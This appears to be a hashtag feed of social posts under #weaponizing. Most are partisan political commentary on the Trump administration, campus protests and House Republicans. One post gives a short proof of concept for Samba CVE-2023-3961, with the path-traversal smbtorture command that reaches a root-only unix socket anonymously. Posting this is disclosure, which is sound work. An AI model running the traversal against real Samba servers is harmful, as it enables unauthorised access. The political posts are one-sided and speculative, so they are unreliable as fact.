So much for #Trump and the #maga #Trumplicans supporting free speech and the #FirstAmendment. They are defiling the very essence of this country and #weaponizing our law institutions. They are hunting down those who speak against their ideology like other #fascist and #nazi governments. And just like in those countries, they have groups of #traitors that are turning in fellow Americans. We have turned a corner and are proceeding down the road to a fascist and #totalitarian state.

There's a great article up by @cwarzel in The Atlantic about The Gleeful Cruelty of the White House X Account. It's a scary but thoughtful analysis of a grim societal trend, focusing specifically on how intensification is implemented via the ex-bird site, lately a cesspool of distilled toxicity from which many still regularly feed.

ESPECIALLY the part in Warzel's article about ASMR (autonomous sensory meridian response) made me shudder. The article is worth reading for that part alone.

(His post at BlueSky, which I've linked below, has what I think may be a gift link.)

Bluesky Social · Charlie Warzel (@cwarzel.bsky.social)I wrote about the White House X account — which is steeped in the sociopathic posting style of far-right extremists — and seems to get more sinister and cruel with its posts each week of the administration. https://www.theatlantic.com/technology/archive/2025/03/gleeful-cruelty-white-house-x-account/682234/?gift=bQgJMMVzeo8RHHcE1_KM0fEulOousRZ7mgN3LeyPGbg&utm_source=copy-link&utm_medium=social&utm_campaign=share

@hannu_ikonen What you are seeing is Conservative and pro-Israel groups #weaponizing #policeviolence and #Politicalpressure on #university #administrators aimed at #trampling on #student's #constitutionalrights.

They are using pro-#genocide #propaganda and #misinformation to try to shape the public narrative.

I also wouldn't be surprised if Russia wasn't involved somewhere in there by fomenting discord in the US to distract from their actions in Ukraine.

Here is a Proof of Concept demonstrating the #samba smbd CVE-2023-3961 #vulnerability

1. On victim host running vulnerable Samba set up a unix domain socket only accessible as root user:
$ sudo socat UNIX-LISTEN:/pwned,mode=700,fork stdout

2. On attacking host:
$ smbtorture -U "" -N ncacn_np:victimhost[/pipe/../../../../../pwned] rpc.echo

At least stock Debian install samba allows anonymous exploitation in this manner. This is quite alarming, to say the least.

Note: smbtorture is built as part of samba build procedure – On Debian based systems you can use sudo apt build-dep samba && apt source samba && cd samba-* && dpkg-buildpackage to get it. Specify LD_LIBRARY_PATH as needed to make it find the necessary shared objects.

smbtorture will talk MS-RPC protocol to the unix domain socket, and as such is not directly useful as generic #exploitation tool. #Weaponizing the vulnerability is left as exercise for the reader.

Addendum: You can't fully control the data being sent to the socket. This will like neuter most attack scenarios.

I never understood what corrupt #Republicans meant when they whined about “#weaponizing the government”.

But thanks to their Speaker—who has just announced his intention to use the House to interfere with the system of #justice in the State of New York—I now understand.

Thanks for the helpful example, Mr. Speaker, you cowardly piece of seditious 💩.
